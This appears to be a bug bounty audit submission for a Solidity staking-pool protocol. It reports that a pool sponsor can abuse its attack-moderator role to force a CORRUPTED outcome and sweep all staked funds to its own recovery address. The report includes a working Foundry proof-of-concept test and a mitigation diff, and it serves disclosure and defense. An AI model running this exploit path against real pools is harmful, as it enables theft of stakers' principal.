FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

A pool sponsor can use its agreement attack-moderator authority to force an auto-CORRUPTED sweep

Author Revealed upon completion

Root + Impact

Description

Normal behavior

ConfidencePoolFactory.createPool() allows the owner of a valid Safe Harbor agreement to create a pool, makes that address the pool owner, and stores the recovery address chosen by that sponsor. A separate factory-configured outcomeModerator is intended to decide whether a pool's local scope survived or was corrupted.

At expiry, ConfidencePool.claimExpired() reads the agreement's live registry state. A CORRUPTED state observed after an active-risk window normally gives the outcome moderator 180 days to decide the pool outcome. When no outcome is flagged during that period, anyone can mechanically finalize bad-faith CORRUPTED; claimCorrupted() then sends the complete remaining pool balance to the sponsor-selected recovery address.

Specific issue

The factory guarantees that the canonical pool sponsor is the Safe Harbor agreement owner. In the pinned Safe Harbor integration, registration initializes that agreement owner as the per-agreement attackModerator. That role can call markCorrupted() from an active-risk state; the on-chain checks verify the role and lifecycle state, but do not establish that an attack succeeded.

Consequently, the pool sponsor can convert its upstream operational/reporting authority into a pool-principal forfeiture authority. This works even when the pool's outcomeModerator is a distinct DAO address: the sponsor makes the agreement read CORRUPTED before the staker resolves expiry, waits out the moderator grace period, and lets any address finalize the mechanical bad-faith outcome. The full pool is then transferred to the sponsor's recovery address.

This report does not claim a flaw in the out-of-scope Safe Harbor contracts. They provide the actual authority model that the in-scope pool consumes. It also does not report the documented scope-blind auto-CORRUPTED fallback by itself. The documented behavior assumes that a terminal registry CORRUPTED state is a trustworthy proof of a real breach; the missing boundary is that this state can be authored by the pool sponsor, who is also the recovery beneficiary, without the pool's independent moderator deciding the pool-specific outcome.

// src/ConfidencePoolFactory.sol
function createPool(
address agreement,
address stakeToken,
uint64 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
// ... agreement and token validation ...
@> if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
pool = Clones.cloneDeterministic(poolImplementation, salt);
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
@> recoveryAddress,
@> msg.sender,
accounts
);
}
// src/ConfidencePool.sol
function claimExpired() external nonReentrant {
// ... expiry and unresolved-outcome validation ...
IAttackRegistry.ContractState state = _observePoolState();
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
@> outcome = PoolStates.Outcome.CORRUPTED;
@> claimsStarted = true;
return;
}
}
function claimCorrupted() external nonReentrant {
// ... CORRUPTED-outcome validation ...
uint256 toSweep = stakeToken.balanceOf(address(this));
@> stakeToken.safeTransfer(recoveryAddress, toSweep);
}

The out-of-scope Safe Harbor integration establishes the authority overlap consumed above:

// battlechain-safe-harbor-contracts@fde1b2a:src/AttackRegistry.sol
// Evidence only; this dependency is not the reported vulnerable component.
@> attackModerator: agreementOwner,
function markCorrupted(address agreementAddress) external onlyAttackModerator(agreementAddress) {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.UNDER_ATTACK && currentState != ContractState.PROMOTION_REQUESTED) {
revert AttackRegistry__InvalidState(currentState);
}
@> s_agreementInfo[agreementAddress].corrupted = true;
}

Risk

Likelihood: Medium

  • The canonical factory path creates this overlap whenever a Safe Harbor agreement owner sponsors a pool and keeps its default agreement-level attack-moderator role. The tested Safe Harbor registration initializes attackModerator to agreementOwner.

  • The exploit path occurs during the documented UNDER_ATTACK or PROMOTION_REQUESTED lifecycle after DAO approval, once a public pool interaction has recorded riskWindowStart.

  • The principal sweep completes after the independent outcomeModerator has not flagged a corrective result during the fixed 180-day grace period. That meaningful operational/timing condition keeps likelihood at Medium rather than High.

Impact: High

  • The sponsor-selected recovery address receives the entire live pool balance, not merely the attacker's own deposit. The balance includes all unresolved staker principal and the contributor-funded bonus.

  • Mechanical finalization sets claimsStarted, so the independent outcome moderator cannot re-flag the result after the grace period. A staker's expiry claim has already been blocked by the sponsor-created CORRUPTED state.

  • The local runtime PoC transfers exactly 100 stake tokens plus 50 bonus tokens to the sponsor. The loss scales with the full balance of each affected pool.

Proof of Concept

Add the following test as test/poc/CodexGpt5_20260710_SponsorAttackModeratorAutoSweep.t.sol and run:

forge test --match-contract CodexGpt5_20260710_SponsorAttackModeratorAutoSweepTest -vvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {Test} from "forge-std/Test.sol";
// Preserves the upstream gates relevant to the pool integration.
contract CodexGpt5_20260710_SponsorAttackRegistry {
error NotAttackModerator();
error NotDao();
error InvalidState();
address internal immutable attackModerator;
address internal immutable dao;
IAttackRegistry.ContractState internal state;
constructor(address attackModerator_, address dao_) {
attackModerator = attackModerator_;
dao = dao_;
state = IAttackRegistry.ContractState.NEW_DEPLOYMENT;
}
function requestUnderAttack(address) external {
if (msg.sender != attackModerator) revert NotAttackModerator();
if (state != IAttackRegistry.ContractState.NEW_DEPLOYMENT) revert InvalidState();
state = IAttackRegistry.ContractState.ATTACK_REQUESTED;
}
function approveAttack(address) external {
if (msg.sender != dao) revert NotDao();
if (state != IAttackRegistry.ContractState.ATTACK_REQUESTED) revert InvalidState();
state = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function markCorrupted(address) external {
if (msg.sender != attackModerator) revert NotAttackModerator();
if (
state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED
) revert InvalidState();
state = IAttackRegistry.ContractState.CORRUPTED;
}
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) {
return state;
}
}
contract CodexGpt5_20260710_SponsorAttackModeratorAutoSweepTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
address internal sponsor = makeAddr("sponsor");
address internal poolModerator = makeAddr("poolModerator");
address internal registryDao = makeAddr("registryDao");
address internal staker = makeAddr("staker");
address internal bonusContributor = makeAddr("bonusContributor");
address internal outsider = makeAddr("outsider");
MockERC20 internal token;
MockAgreement internal agreement;
MockSafeHarborRegistry internal safeHarborRegistry;
CodexGpt5_20260710_SponsorAttackRegistry internal attackRegistry;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new CodexGpt5_20260710_SponsorAttackRegistry(sponsor, registryDao);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
factory = ConfidencePoolFactory(address(new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), poolModerator)
)
)));
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
vm.prank(sponsor);
pool = ConfidencePool(factory.createPool(
address(agreement), address(token), block.timestamp + 31 days, ONE, sponsor, scope
));
}
function testSponsorCanFrontRunExpiryClaimWithItsAttackModeratorAuthority() external {
assertEq(pool.owner(), sponsor);
assertEq(pool.outcomeModerator(), poolModerator);
assertTrue(pool.outcomeModerator() != sponsor);
token.mint(staker, 100 * ONE);
vm.startPrank(staker);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
token.mint(bonusContributor, 50 * ONE);
vm.startPrank(bonusContributor);
token.approve(address(pool), 50 * ONE);
pool.contributeBonus(50 * ONE);
vm.stopPrank();
vm.prank(sponsor);
attackRegistry.requestUnderAttack(address(agreement));
vm.prank(registryDao);
attackRegistry.approveAttack(address(agreement));
pool.pokeRiskWindow();
uint256 expiry = pool.expiry();
vm.warp(expiry);
vm.prank(sponsor);
attackRegistry.markCorrupted(address(agreement));
vm.prank(staker);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(expiry + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(outsider);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
uint256 sponsorBefore = token.balanceOf(sponsor);
vm.prank(outsider);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsor) - sponsorBefore, 150 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
}
}

Observed runtime result on the current 58e8ba4ce3f3277866e4926f3140e597f9554a1e source:

[PASS] testSponsorCanFrontRunExpiryClaimWithItsAttackModeratorAuthority() (gas: 642233)
Suite result: ok. 1 passed; 0 failed; 0 skipped

An additional non-broadcast fork test at BattleChain testnet block 16000 confirms the real integration authority: the demo agreement owner and its live getAttackModerator() value are both 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d; that account successfully calls the real registry's markCorrupted() in the fork. The subsequent locally deployed in-scope factory pool transfers 100 stake plus 50 bonus tokens to the configured sponsor recovery account. The fork test passes with 1 passed, 0 failed, 0 skipped.

Recommended Mitigation

Do not create a bad-faith, principal-confiscating pool outcome from an agreement-level state that may be authored by the pool sponsor. The smallest safety-first change removes the permissionless auto-CORRUPTED finalization and leaves this decision to the independent outcomeModerator.

diff --git a/src/ConfidencePool.sol b/src/ConfidencePool.sol
@@ function claimExpired() external nonReentrant {
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
- outcome = PoolStates.Outcome.CORRUPTED;
- outcomeFlaggedAt = riskWindowEnd;
- corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
- claimsStarted = true;
- emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
- return;
+ // An agreement-level reporter can be the pool sponsor and recovery beneficiary.
+ // Only the independent pool outcome moderator may authorize this full-balance sweep.
+ revert AgreementCorruptedAwaitingModerator();
}

For a permanent-moderator-unavailability escape hatch, introduce a factory/DAO-controlled fallback resolver or a registry attestation whose authority cannot overlap with the agreement owner or recovery beneficiary. That resolver can finalize the existing bad-faith branch after the grace period. Do not restore a permissionless full-pool sweep based only on getAgreementState(agreement) == CORRUPTED.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!